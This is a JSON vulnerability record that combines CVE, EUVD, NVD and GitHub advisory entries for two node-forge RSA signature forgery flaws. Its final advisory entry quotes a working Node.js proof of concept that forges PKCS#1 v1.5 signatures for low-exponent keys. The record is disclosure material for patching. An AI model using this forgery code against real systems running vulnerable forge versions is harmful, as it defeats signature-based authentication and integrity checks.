{"id":"EUVD-2026-70670","revision":null,"records":[{"revision":"ff025d6ff9524b80954f23547c352138","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33894","aliases":[],"title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","state":0,"publishedAt":"2026-03-27T20:45:49.583+00:00","modifiedAt":"2026-09-10T12:04:55.128+00:00","affected":[{"ecosystem":"Vendor product","name":"forge","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"digitalbazaar\",\n                    \"product\": \"forge\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.4.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","https://datatracker.ietf.org/doc/html/rfc2313#section-8","https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","https://www.rfc-editor.org/rfc/rfc8017.html"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33894","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33894","identifiers":["CVE-2026-33894"]},"retained":false,"historicalAffected":[]},{"revision":"5af36471ae5a496986b12c2bb18da0aa","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-85393","aliases":[],"title":"node-forge through 1.4.0 RSA PKCS#1 v1.5 Signature Forgery via Nested DigestAlgorithm Padding","description":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.","state":0,"publishedAt":"2026-09-03T18:54:25.878+00:00","modifiedAt":"2026-09-03T19:14:06.547+00:00","affected":[{"ecosystem":"Vendor product","name":"forge","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"digitalbazaar\",\n                    \"product\": \"forge\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/node-forge\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"lessThanOrEqual\": \"1.4.0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/digitalbazaar/forge/issues/1149","https://github.com/digitalbazaar/forge","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/rsa.js","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/asn1.js","https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","https://www.vulncheck.com/advisories/node-forge-through-1.4.0-rsa-pkcs-1-1.5-signature-forgery-via-nested-digestalgorithm-padding"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-85393","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-85393","identifiers":["CVE-2026-85393"]},"retained":false,"historicalAffected":[]},{"revision":"2a7305fc1c5b4c309406a9a3664fc8e5","observedAt":"2026-11-01T05:16:35.53+00:00","statement":{"source":"euvd","id":"EUVD-2026-16834","aliases":["CVE-2026-33894","GHSA-ppp5-5v6c-4jwp"],"title":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers…","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":null}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","https://datatracker.ietf.org/doc/html/rfc2313#section-8","https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","https://www.rfc-editor.org/rfc/rfc8017.html"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16834","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 27, 2026, 8:45:49 PM","dateUpdated":"Sep 10, 2026, 12:04:55 PM"},"relatedAdvisories":[{"id":"RHSA-2026:34342","title":"Red Hat Security Advisory: Cluster Observability Operator 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Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16834","identifiers":["EUVD-2026-16834","CVE-2026-33894","GHSA-ppp5-5v6c-4jwp"]},"retained":false,"historicalAffected":[]},{"revision":"5441c034e86949eba7905d2c4cfb9242","observedAt":"2026-11-01T13:01:19.099+00:00","statement":{"source":"euvd","id":"EUVD-2026-70670","aliases":["CVE-2026-85393","GHSA-86w9-cpqp-85rv"],"title":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for …","description":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/digitalbazaar/forge/issues/1149","https://github.com/digitalbazaar/forge","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/rsa.js","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/asn1.js","https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","https://www.vulncheck.com/advisories/node-forge-through-1.4.0-rsa-pkcs-1-1.5-signature-forgery-via-nested-digestalgorithm-padding"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-70670","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 3, 2026, 6:54:25 PM","dateUpdated":"Sep 3, 2026, 7:14:06 PM"},"relatedAdvisories":[{"id":"RHSA-2026:71210","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Container Release Update","vulnerabilityIds":["CVE-2025-57847","CVE-2025-66418","CVE-2026-15307","CVE-2026-42215","CVE-2026-42284","CVE-2026-44244","CVE-2026-49825","CVE-2026-54284","CVE-2026-59893","CVE-2026-67322","CVE-2026-67323","CVE-2026-67325","CVE-2026-71491","CVE-2026-73620","CVE-2026-73622","CVE-2026-73623","CVE-2026-73624","CVE-2026-73625","CVE-2026-76218","CVE-2026-76219","CVE-2026-76220","CVE-2026-76221","CVE-2026-76222","CVE-2026-78676","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-85393","CVE-2026-87817"]},{"id":"RHSA-2026:92510","title":"Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2023-54404","CVE-2026-11822","CVE-2026-11824","CVE-2026-13717","CVE-2026-16221","CVE-2026-17106","CVE-2026-18446","CVE-2026-25681","CVE-2026-26007","CVE-2026-27136","CVE-2026-33814","CVE-2026-33818","CVE-2026-39821","CVE-2026-39834","CVE-2026-41178","CVE-2026-42502","CVE-2026-45819","CVE-2026-45820","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-57516","CVE-2026-59951","CVE-2026-63209","CVE-2026-63374","CVE-2026-65898","CVE-2026-67312","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69097","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73643","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-76844","CVE-2026-77301","CVE-2026-78679","CVE-2026-82397","CVE-2026-83663","CVE-2026-84375","CVE-2026-84445","CVE-2026-85393","CVE-2026-85525","CVE-2026-87018","CVE-2026-90711","CVE-2026-91990","CVE-2026-92599","CVE-2026-93690","CVE-2026-93749","CVE-2026-94637","CVE-2026-96640","CVE-2026-96643","CVE-2026-96644","CVE-2026-96778","CVE-2026-96804","CVE-2026-97687","CVE-2026-97689","CVE-2026-102267","CVE-2026-102271","CVE-2026-102272","CVE-2026-102276","CVE-2026-102278","CVE-2026-102282","CVE-2026-104150","CVE-2026-104851","CVE-2026-105922","CVE-2026-106445","CVE-2026-106446","CVE-2026-109156","CVE-2026-109383","CVE-2026-109527","CVE-2026-109829","CVE-2026-109869","CVE-2026-109956","CVE-2026-110856","CVE-2026-110857","CVE-2026-110858","CVE-2026-110859","CVE-2026-111064","CVE-2026-111066","CVE-2026-111497","CVE-2026-112390","CVE-2026-112391","CVE-2026-112392","CVE-2026-112397","CVE-2026-112399","CVE-2026-112400","CVE-2026-112402","CVE-2026-112404","CVE-2026-112405","CVE-2026-112893","CVE-2026-112894","CVE-2026-112895","CVE-2026-112896","CVE-2026-112897","CVE-2026-112940","CVE-2026-114145"]},{"id":"msrc_CVE-2026-85393","title":"node-forge through 1.4.0 RSA PKCS#1 v1.5 Signature Forgery via Nested DigestAlgorithm Padding","vulnerabilityIds":["CVE-2026-85393"]},{"id":"RHSA-2026:88200","title":"Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images","vulnerabilityIds":["CVE-2026-9496","CVE-2026-19553","CVE-2026-85393","CVE-2026-87776","CVE-2026-89011","CVE-2026-100721"]},{"id":"RHSA-2026:71179","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update","vulnerabilityIds":["CVE-2025-57847","CVE-2025-66418","CVE-2026-12564","CVE-2026-14257","CVE-2026-15307","CVE-2026-33818","CVE-2026-42215","CVE-2026-42284","CVE-2026-42504","CVE-2026-44244","CVE-2026-49825","CVE-2026-53488","CVE-2026-53492","CVE-2026-54284","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-59877","CVE-2026-59893","CVE-2026-67322","CVE-2026-67323","CVE-2026-67325","CVE-2026-69152","CVE-2026-69153","CVE-2026-69244","CVE-2026-71458","CVE-2026-71459","CVE-2026-71460","CVE-2026-71462","CVE-2026-71463","CVE-2026-71464","CVE-2026-71465","CVE-2026-71491","CVE-2026-73086","CVE-2026-73620","CVE-2026-73622","CVE-2026-73623","CVE-2026-73624","CVE-2026-73625","CVE-2026-75884","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-76218","CVE-2026-76219","CVE-2026-76220","CVE-2026-76221","CVE-2026-76222","CVE-2026-78676","CVE-2026-78679","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84470","CVE-2026-84474","CVE-2026-84486","CVE-2026-84499","CVE-2026-84502","CVE-2026-84638","CVE-2026-84643","CVE-2026-84644","CVE-2026-84679","CVE-2026-84680","CVE-2026-84683","CVE-2026-84684","CVE-2026-84686","CVE-2026-84689","CVE-2026-84691","CVE-2026-84692","CVE-2026-84703","CVE-2026-84706","CVE-2026-84707","CVE-2026-84708","CVE-2026-84709","CVE-2026-84711","CVE-2026-84712","CVE-2026-84714","CVE-2026-84716","CVE-2026-84717","CVE-2026-84718","CVE-2026-84719","CVE-2026-84720","CVE-2026-84724","CVE-2026-85393","CVE-2026-87817"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-70670","identifiers":["EUVD-2026-70670","CVE-2026-85393","GHSA-86w9-cpqp-85rv"]},"retained":false,"historicalAffected":[]},{"revision":"6c6521014ff443d7bc60a0d0fb94152f","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-33894","aliases":[],"title":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers…","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","state":0,"publishedAt":"2026-03-27T21:17:25.983+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://datatracker.ietf.org/doc/html/rfc2313#section-8","https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","https://www.rfc-editor.org/rfc/rfc8017.html","https://access.redhat.com/errata/RHSA-2026:13826","https://access.redhat.com/errata/RHSA-2026:19375","https://access.redhat.com/errata/RHSA-2026:21017","https://access.redhat.com/errata/RHSA-2026:22465","https://access.redhat.com/errata/RHSA-2026:22629","https://access.redhat.com/errata/RHSA-2026:22840","https://access.redhat.com/errata/RHSA-2026:23361","https://access.redhat.com/errata/RHSA-2026:24761","https://access.redhat.com/errata/RHSA-2026:24853","https://access.redhat.com/errata/RHSA-2026:34342","https://access.redhat.com/errata/RHSA-2026:9742","https://access.redhat.com/security/cve/CVE-2026-33894","https://bugzilla.redhat.com/show_bug.cgi?id=2452464","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33894.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33894","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-20","CWE-347"],"productCriteria":["cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-03-27T21:17:25.983","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33894","identifiers":["CVE-2026-33894"]},"retained":false,"historicalAffected":[]},{"revision":"04f752e4442d44b79d0af105db2c975a","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-85393","aliases":[],"title":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for …","description":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.","state":0,"publishedAt":"2026-09-03T19:17:31.103+00:00","modifiedAt":"2026-09-24T20:43:32.537+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","https://github.com/digitalbazaar/forge","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/asn1.js","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/rsa.js","https://github.com/digitalbazaar/forge/issues/1149","https://www.vulncheck.com/advisories/node-forge-through-1.4.0-rsa-pkcs-1-1.5-signature-forgery-via-nested-digestalgorithm-padding"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85393","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-347"],"productCriteria":[],"sourceDates":{"published":"2026-09-03T19:17:31.103","lastModified":"2026-09-24T20:43:32.537"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-85393","identifiers":["CVE-2026-85393"]},"retained":false,"historicalAffected":[]},{"revision":"9fe4900f48344f55b1566c431ec47dcd","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-86w9-cpqp-85rv","aliases":["CVE-2026-33894","CVE-2026-85393","GHSA-ppp5-5v6c-4jwp"],"title":"node-forge RSA PKCS#1 v1.5 signature verification accepts extra nested DigestAlgorithm elements","description":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.","state":0,"publishedAt":"2026-09-03T21:31:15+00:00","modifiedAt":"2026-10-01T21:40:55.0162514+00:00","affected":[{"ecosystem":"npm","name":"node-forge","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.4.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-85393","https://github.com/digitalbazaar/forge/issues/1149","https://github.com/digitalbazaar/forge/pull/1152","https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","https://github.com/digitalbazaar/forge","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/asn1.js","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/rsa.js","https://www.vulncheck.com/advisories/node-forge-through-1.4.0-rsa-pkcs-1-1.5-signature-forgery-via-nested-digestalgorithm-padding"],"sourceUrl":"https://github.com/advisories/GHSA-86w9-cpqp-85rv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-86w9-cpqp-85rv","identifiers":["GHSA-86w9-cpqp-85rv","CVE-2026-33894","CVE-2026-85393","GHSA-ppp5-5v6c-4jwp"]},"retained":false,"historicalAffected":[]},{"revision":"c206f1d2bb854b28bdd421f7891cc80e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-ppp5-5v6c-4jwp","aliases":["CVE-2026-33894","CVE-2026-85393","GHSA-86w9-cpqp-85rv"],"title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  ","description":"## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n<details><summary>repro_min.js</summary>\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst crypto = require('crypto');\nconst forge = require('./forge/lib/index');\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING <32-byte digest>\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  '300d060960864801650304020105000420',\n  'hex'\n);\n\nconst toBig = b => BigInt('0x' + (b.toString('hex') || '0'));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = '0' + h;\n  const b = Buffer.from(h, 'hex');\n  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi <= n) hi <<= 1n;\n  while (lo + 1n < hi) {\n    const mid = (lo + hi) >> 1n;\n    if (mid * mid * mid <= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n => {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len < 0x80) return Buffer.from([len]);\n  if (len <= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString('utf8'), 'utf8');\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined => default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge's default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });\n  const nBytes = Buffer.from(jwk.n, 'base64url');\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, 'base64url'));\n  if (e !== 3n) throw new Error('expected e=3');\n\n  const msg = Buffer.from('forged-message-0', 'utf8');\n  const digest = crypto.createHash('sha256').update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i < 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n << BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from('control-message', 'utf8');\n  const controlSig = crypto.sign('sha256', controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify('sha256', controlMsg, {\n    key: 